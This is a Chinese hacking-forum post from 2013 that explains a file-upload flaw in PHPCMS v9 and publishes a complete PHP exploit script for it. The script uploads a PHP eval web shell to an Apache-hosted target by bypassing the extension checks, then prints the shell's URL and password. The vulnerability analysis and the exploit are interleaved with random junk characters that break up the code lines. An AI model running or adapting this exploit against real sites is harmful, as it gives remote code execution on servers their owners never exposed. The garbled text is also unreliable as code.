找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2250|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
. V1 i( b1 T2 n8 T- P# g1 F
2 L0 B  f# s2 Z0 ?+ o( u简要描述:7 J/ n! m/ {9 H- A2 J" f) ~+ E

- t$ n; h7 a) a5 Y8 lphpcms v9 getshell (apache): }! V# q( Q, q- F8 M! u
详细说明:( C  Y  N- e3 b$ c' M8 ]6 l# a

$ q, s+ n- N+ W  h- z漏洞文件:phpcms\modules\attachment\attachments.php
8 j9 v! f+ u2 a5 v/ l; {: r. C3 N8 L% S+ _, V
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } % J6 u; I; `4 M; s1 ]
后缀检测:phpcms\modules\attachment\functions\global.func.php
0 x$ z! t1 g5 J- k/ k" f5 H) F$ ~3 w) a: O
1 M* M% I+ z/ i

% \3 D( j9 U( a2 kfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
5 b$ M- R9 F8 H9 P9 j: \* p7 }, W+ M# }# G5 D+ ?9 w
关键函数:
* g+ ?6 t% @7 S& x3 `) h, E
, S2 K4 l* E# c' i7 } " B, P4 g$ T6 F0 e

7 m+ X/ H9 h' c. p2 M* q( tfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ) n3 y) [9 Z( K, G# o

" I% t8 ]3 @+ f* f: K  Fileext函数是对文件后缀名的提取。
1 Z- Z4 [& K9 v' E# |3 {% F根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
& N. }- o9 _1 `5 C8 _. C% R8 b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" ^: j. Y- Z3 E; t& R7 P6 w2 F我们回到public function crop_upload() 函数中
& {! d" [) O* a8 eif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();  d% n- {0 C, t. s3 @
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数4 u5 K* u* p; E# B$ [4 t: j
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 H8 l2 E2 T. J/ b/ {
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。8 A# _/ _8 F9 ]- E
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。5 R+ Z/ o7 E! r: A1 N
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。6 M& A+ w/ o1 c2 _0 M" u9 a
漏洞证明:
1 N9 o' `+ j# ?4 ?8 w5 b, m& C$ f/ ~: f4 O
exp:% o. f' V7 s, n5 L2 G

! Q2 U, p5 e, m$ Q: K: O$ T<?php' f8 }" J4 ~5 Q4 w$ ~2 R
error_reporting(E_ERROR);
; z, j2 a" P- t3 D/ H4 Cset_time_limit(0);0 K0 K& P$ m, }+ I$ j6 x( x- o; x
$pass="ln";4 ?5 r7 t' \" l" a& N3 N
print_r('. _3 m/ o9 a* v
+---------------------------------------------------------------------------+' O: U( ]0 Q" I) U, c& S
PHPCms V9 GETSHELL 0DAY   }, z) U6 x. f  A. `
code by L.N.
6 }, P3 x* o# j& F/ k# P7 I# G$ j  u7 d: J8 [) ^& A% H6 b
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net! J! @5 C1 K* d  M3 ]: P" p
+---------------------------------------------------------------------------+3 U4 w2 ~0 Z, [7 K# q) B
');' A5 p5 [; w* K3 J$ \7 E+ F: A# g& M
if ($argc < 2) {2 ]4 |/ @( s% C$ B4 J. h, o  m
print_r('' I, G8 y: U$ b4 B
+---------------------------------------------------------------------------+9 O* B7 Y4 U1 `6 |& b6 l7 T/ l
Usage: php '.$argv[0].' url path+ o$ M! O4 R! s: |3 J
. C. e7 [: R8 v8 s
Example:
) Q( g) }! q% ~/ i1.php '.$argv[0].' lanu.sinaapp.com1 u$ y" `' H$ |  I: {2 E3 w
2.php '.$argv[0].' lanu.sinaapp.com /phpcms9 e# E" C' x; g1 U+ v
+---------------------------------------------------------------------------++ c: |1 |/ r- \, c7 A  ]! q
');: O0 Z* k  B& A) s% S
exit;& E# m: D  |( k( F
}6 }- Q; S3 j! G9 \6 n( K

3 \4 R& [* ]; F# O8 i7 D  ?  T+ R$url = $argv[1];. X  m/ I, n/ m0 H6 D
$path = $argv[2];
  A& N2 G- ?+ A$ G* H$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
* {7 A$ j$ O( Q7 [& z$ n$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
: a( n3 ~/ I8 F8 dif($ret=Create_dir($url,$path))
4 \9 S" M' h! \  F" B, Z{
! x% O% t( Z5 H7 O8 D3 s% j//echo $ret;
5 V- d$ M  ?0 y$ a9 a) [$pattern = "|Server:[^,]+?|U";
  {% w9 K5 [9 hpreg_match_all($pattern, $ret, $matches);2 K" c: U! z  \! l' P
if($matches[0][0])! [8 s9 [6 N1 }. A
{% W  Q7 {+ |" j  S2 e
if(strpos($matches[0][0],'Apache') == false)$ Z8 [' @# n+ a! {2 h8 F8 H
{
8 w; s! {- U$ ~echo "\n亲!此网站不是apache的网站。\n";exit;8 z: _3 F) G. x% g
}
$ j+ z; f2 `$ P* L0 m}+ R! l% m% {: E" k* Z" r3 o% w
$ret = GetShell($url,$phpshell,$path,$file);. E; O4 E, s; o6 f
$pattern = "|http:\/\/[^,]+?\.,?|U";
! [$ ~- |! s( T) ]( j) K5 cpreg_match_all($pattern, $ret, $matches);
3 q6 |: m- B; g. J0 \5 y0 dif($matches[0][0])0 d4 `% y  q+ F7 L( i
{+ z. ~$ i5 u3 z4 {
echo "\n".'密码为: '.$pass."\n";, @- R/ \* P" G" y. k$ H0 Y% T
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 E1 k, _8 Z4 Q% Q( L3 @
}+ u3 i* ]: m5 m5 Q
else! G) ]  d% c# }$ F* T( D
{
( k1 E" m) C9 V) X# W2 p$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# v. R0 U- h0 [! T9 n+ n
preg_match_all($pattern, $ret, $matches);
! t8 s# R) I3 Y! _if($matches[0][0])) _# V: i  a. v4 ?% C
{
3 l6 l& Q, j: W, xecho "\n".'密码为: '.$pass."\n";
) H1 l) k; L! H6 |/ [! b: M: Decho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
+ q; B+ e& w2 E4 T6 S}! e. w" C) B$ m3 z% s; S8 q; V
else
  k1 K- V% l8 }( U{
/ K: n& b  O/ ?echo "\r\n没得到!\n";exit;
4 \- \5 A2 p+ [1 q}
8 {- [7 t: x5 s1 ?/ }. H0 w. [7 W}1 b* a* S0 J2 @6 N2 M& j
}6 z! t: u9 w7 z6 R; y
1 g. N6 ?$ q' Y9 L
function GetShell($url,$shell,$path,$js)
1 ~! s5 q; p; k& N8 T{2 C9 U8 b( y7 U# B8 b
$content =$shell;! w, o! g2 A& p: l; N. u( R
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";) t# p/ w+ j( Q- p4 k! Q
$data .= "Host: ".$url."\r\n";
) T8 m0 [6 k& e8 j. j$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- j; E# O4 Y0 F" m9 f0 `
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 O6 y* i- A% O1 D$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; X7 z* w+ C  D- ?
$data .= "Connection: close\r\n";: z$ ^* Y. r( w3 @' o& c5 \
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
# S3 s  x. z1 C! {1 s/ G$data .= $content."\r\n";0 v7 C- n& L/ I8 g6 a9 l3 ^, W/ t
$ock=fsockopen($url,80);9 V( w  C4 [( O
if (!$ock)! Z' G' ?3 `; J0 k, @1 A
{
1 P7 ]( q$ Z2 ]+ S: \- V8 Oecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& }; h2 l  J% C
}+ Z; V$ v# L% F! t
else' \8 ~1 n& s0 J5 O( `6 n
{
# ]+ c% H$ X* b' V4 m* Qfwrite($ock,$data);. Q+ X# m( R) H( J
$resp = '';3 P% U) O( C$ \2 D! G$ R) F8 X. o
while (!feof($ock))
. O7 S* q( v' Q. I; Y2 Q{
) R+ H: h/ m; z- t$resp.=fread($ock, 1024);* K1 q0 G- Z. t% u
}
8 g' A$ C  o0 n2 C' x  U1 Hreturn $resp;
# e/ U- k4 S5 O8 v2 X}5 n2 l" K' J0 N" _4 ?: k
}
' G0 H8 J% a% _2 m7 e' s
# E! b( _8 i7 A9 dfunction Create_dir($url,$path='')
0 l  ~  {& g# k) E+ Z* e+ J; d{
' a/ I0 }0 x7 |" k# y$content ='I love you';
9 @' m: `$ J7 c# u$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 H. V5 G; J; Q" D# m$data .= "Host: ".$url."\r\n";! X5 ^. _+ K8 A% H" f2 I9 ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. y) v  r: O, g$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 d" K; {1 x! K$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; w  Y. i9 E: I9 v$data .= "Connection: close\r\n";
1 Q& Q( n! {$ e- ?+ d$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' k* Q; `1 B1 B+ e
$data .= $content."\r\n";" d, D" [& H5 B
$ock=fsockopen($url,80);
& U$ j2 C5 x/ v: I" jif (!$ock)0 T/ ^# i: w6 D$ O( K
{
( _  U. ^9 @; `  x( Lecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;' d' y! p  K( l6 s9 o2 H: ?# Z
}' r8 ^; W3 o' A2 q% {
fwrite($ock,$data);
( g# _% a" j2 f$resp = '';
, v* e; X; N2 Hwhile (!feof($ock))
' }7 @- N, L) Z5 b{5 o1 D9 b. T! s- X) g
$resp.=fread($ock, 1024);
  X* Z) W3 h& s1 ^6 y$ n, x}
3 T4 _0 B& t, v: D) c' yreturn $resp;
2 M& l# G6 R; o% L# d) A}. O6 v' i. {- i& l
?>
* Z% @% S  ^, \6 d
% p7 e4 l* t7 s6 {修复方案:  V2 k% `( ]( a, s- j9 @2 x
& g4 v1 ?* `; q# h
过滤过滤再过滤
: T5 y' e0 V7 Z/ K( _3 I
8 B  N3 t# i% H% Z* E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表